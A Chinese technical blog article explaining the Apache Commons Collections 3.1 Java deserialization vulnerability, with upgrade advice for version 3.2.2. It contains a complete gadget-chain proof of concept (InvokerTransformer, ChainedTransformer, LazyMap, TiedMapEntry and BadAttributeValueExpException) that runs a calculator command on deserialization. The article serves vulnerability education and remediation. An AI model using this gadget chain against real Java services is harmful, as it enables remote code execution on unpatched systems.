原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!
GitHub 15.8k Star 的Java工程师成神之路,不来了解一下吗!
GitHub 15.8k Star 的Java工程师成神之路,真的不来了解一下吗!
GitHub 15.8k Star 的Java工程师成神之路,真的真的不来了解一下吗!
在《fastjson到底做错了什么?为什么会被频繁爆出漏洞?》文章中,我从技术角度分析过为什么fastjson会被频繁爆出一些安全漏洞,然后有人在评论区发表"说到底就是fastjson烂..."等言论,一般遇到这种评论我都是不想理的。
但是事后想想,这个事情还是要单独说一下,因为这种想法很危险。
一旦这位读者有一天当上了领导,那么如果他负责的项目发生了漏洞,他还是站出来说"都怪XXX代码写的烂...",这其实是非常可怕的。
工作久了的话,就会慢慢有种感觉:代码都是人写的,是人写的代码就可能存在漏洞,这个是永远都无法避免的,任何牛X的程序员都不可能写出完全没有bug的代码!
其实关于序列化的安全性问题,无论是Java原生的序列化技术还是很多其他的开源序列化工具,都曾经发生过。
序列化的安全性,一直都是比较大的一个话题,我无意为fastjson辩驳,但是出问题之后直接喷代码写的烂,其实是有点不负责任的。
Apache-Commons-Collections这个框架,相信每一个Java程序员都不陌生,这是一个非常著名的开源框架。
但是,他其实也曾经被爆出过序列化安全漏洞,而漏洞的表现和fastjson一样,都是可以被远程执行命令。
背景
Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons Collections的最新版是4.4,但是使用比较广泛的还是3.x的版本。其实,在3.2.1以下版本中,存在一个比较大的安全漏洞,可以被利用来进行远程命令执行。
这个漏洞在2015年第一次被披露出来,但是业内一直称称这个漏洞为"2015年最被低估的漏洞"。
因为这个类库的使用实在是太广泛了,首当其中的就是很多Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
之后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。
问题复现
这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。
利用Transformer攻击
Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型装换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。
InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。

而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:

也就是说,使用这个类,理论上可以执行任何方法。那么,我们就可以利用这个类在Java中执行外部命令。
我们知道,想要在Java中执行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我们就想办法通过以上工具类实现这个功能。
首先,通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数:
Transformer transformer = new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open /Applications/Calculator.app"});
通过,构造函数,我们设定方法名为exec,执行的命令为open /Applications/Calculator.app,即打开mac电脑上面的计算器(windows下命令:C:\\Windows\\System32\\calc.exe)。
然后,通过InvokerTransformer实现对Runtime类的实例化:
transformer.transform(Runtime.getRuntime());
运行程序后,会执行外部命令,打开电脑上的计算机程序:

至此,我们知道可以利用InvokerTransformer来调用外部命令了,那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串,然后再反序列化,接口实现远程命令执行:

先将transformer对象序列化到文件中,再从文件中读取出来,并且执行其transform方法,就实现了攻击。
你以为这就完了?
但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。
因为,newTransformer.transform(Runtime.getRuntime());这样的代码,不会有人真的在代码中写的。
如果没有了这行代码,还能实现执行外部命令么?
这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer,这个类是Transformer的实现类。
ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,然后依次调用其transform方法,并且每次都返回一个对象,并且这个对象可以作为下一次调用的参数。

那么,我们可以利用这个特性,来自己实现和transformer.transform(Runtime.getRuntime());同样的功能:
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:

那么,结合序列化,现在的攻击更加进了一步,不再需要一定要传入newTransformer.transform(Runtime.getRuntime());这样的代码了,只要代码中有 transformer.transform()方法的调用即可,无论里面是什么参数:

攻击者不会满足于此
但是,一般也不会有程序员会在代码中写这样的代码。
那么,攻击手段就需要更进一步,真正做到"不需要程序员配合"。
于是,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)

那么,现在的攻击方向就是想办法调用到LazyMap的get方法,并且把其中的factory设置成我们的序列化对象就行了。
顺藤摸瓜,可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
我们知道,toString会在很多时候被隐式调用,如输出的时候(System.out.println(ois.readObject());),代码示例如下:

现在,黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化之后,如果调用了toString就会被攻击。
只要反序列化,就会被攻击
那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?
倒还真的被发现了,只要满足以下条件就行了:
那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候,会调用对象的readObject方法。
通过深入挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例
BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:

那么,攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。
通过阅读源码,我们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。
这就简单了,通过反射就能实现:
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。

问题解决
以上,我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。
通过这个漏洞的分析,我们可以发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。
因为这个漏洞影响范围很大,所以在被爆出来之后就被修复掉了,开发者只需要将Apache Commons Collections类库升级到3.2.2版本,即可避免这个漏洞。

3.2.2版本对一些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:

在两个方法中,进行了序列化安全的相关校验,校验实现代码如下:

在序列化及反序列化过程中,会检查对于一些不安全类的序列化支持是否是被禁用的,如果是禁用的,那么就会抛出UnsupportedOperationException,通过org.apache.commons.collections.enableUnsafeSerialization设置这个特性的开关。
将Apache Commons Collections升级到3.2.2以后,执行文中示例代码,将报错如下:
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
后话
本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。
如果你阅读本文之后,能够有以下思考,那么本文的目的就达到了:
1、代码都是人写的,有bug都是可以理解的
2、公共的基础类库,一定要重点考虑安全性问题
3、在使用公共类库的时候,要时刻关注其安全情况,一旦有漏洞爆出,要马上升级
4、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug都可能被利用
参考资料:
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://p0sec.net/index.php/archives/121/
https://www.freebuf.com/vuls/175252.html
https://kingx.me/commons-collections-java-deserialization.html
原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!的更多相关文章
- .NET高级代码审计(第三课)Fastjson反序列化漏洞
0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...
- Fastjson反序列化漏洞概述
Fastjson反序列化漏洞概述 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...
- fastjson反序列化漏洞研究(上)
前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
- Fastjson反序列化漏洞基础
Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- 【JNPF修改通告】fastjson≤1.2.80反序列化漏洞
近日Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,存在反序列化漏洞.攻击者可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大,请大家 ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
随机推荐
- s7-200高速脉冲输出与高速计数器讲解
s7-200高速脉冲输出与高速计数器讲解
- 关于自动寻路(Navigation)的初级总结
1.使用Nav Mesh Link组件 该组件会实现寻路者从Start跳向end点 注意Player会优先选择最佳路线,且Start,End两个物体都应该在Walkable的区域上 2.使用Nav M ...
- 006.OpenShift持久性存储
一 持久存储 1.1 持久存储概述 默认情况下,运行容器使用容器内的临时存储.Pods由一个或多个容器组成,这些容器一起部署,共享相同的存储和其他资源,可以在任何时候创建.启动.停止或销毁.使用临时存 ...
- class 类组件:
ES6 中的class 类组件: // class 关键字:确定一个类型student以类的概念存在 class student{ //构造函数 是默认自动执行 // 初始化 name age 属性 ...
- 微信小程序预览Word文档
<view data-url="https://xxxcom/attachment/word.docx" data-type="docx" catchta ...
- 腾讯IEG--2020春招实习
笔试 正常批就五道编程题,可以跳出使用本地IDE,题目很好理解,基本都能写出来,但是要过全部用例不容易.具体题目和题解可以看看这位大佬的牛客帖子,我的就不献丑了,有两题都只过了40%,我当时是用C#做 ...
- SqlServer2016 startengine错误的解决方式整理
因为某些需要,最近在安装SqlServer2016,但总是安装失败,按照网上各路大佬的解决方案都没有成功.报错提示为两个:无法获取数据库引擎句柄,无法恢复数据库引擎服务.按照网上做法,使用admini ...
- 黑鸟码表BB10S骑行记录导入行者
前言 开始骑车用行者app记录, 后来觉得每次都要开app很麻烦, 于是在骑友的推荐下入手了黑鸟BB10S, 使用了一段时间感觉还不错, 不过也遇到之前大家说的问题, 黑鸟不支持直接导出fit文件, ...
- 谈谈如何绕过 TinyPNG 对上传图片数量的限制
前端er, 又称为切图仔,平时经常需要用 PSD 导出 PNG 或 JPG,但是导出来的的图片一般比较大,往往需要用一些其他工具压缩后再发布到生产环境. 以前常用的做法是,使用 image-webpa ...
- 用阿里的 sketch 插件 FusionDesign 来快速设计中后台
Fusion Design 是阿里推出的新的基于sketch的快速设计方案,很适合快速设计中后台. (1) 到Fusion官方站点 https://fusion.design 注册并创建一个项目. ( ...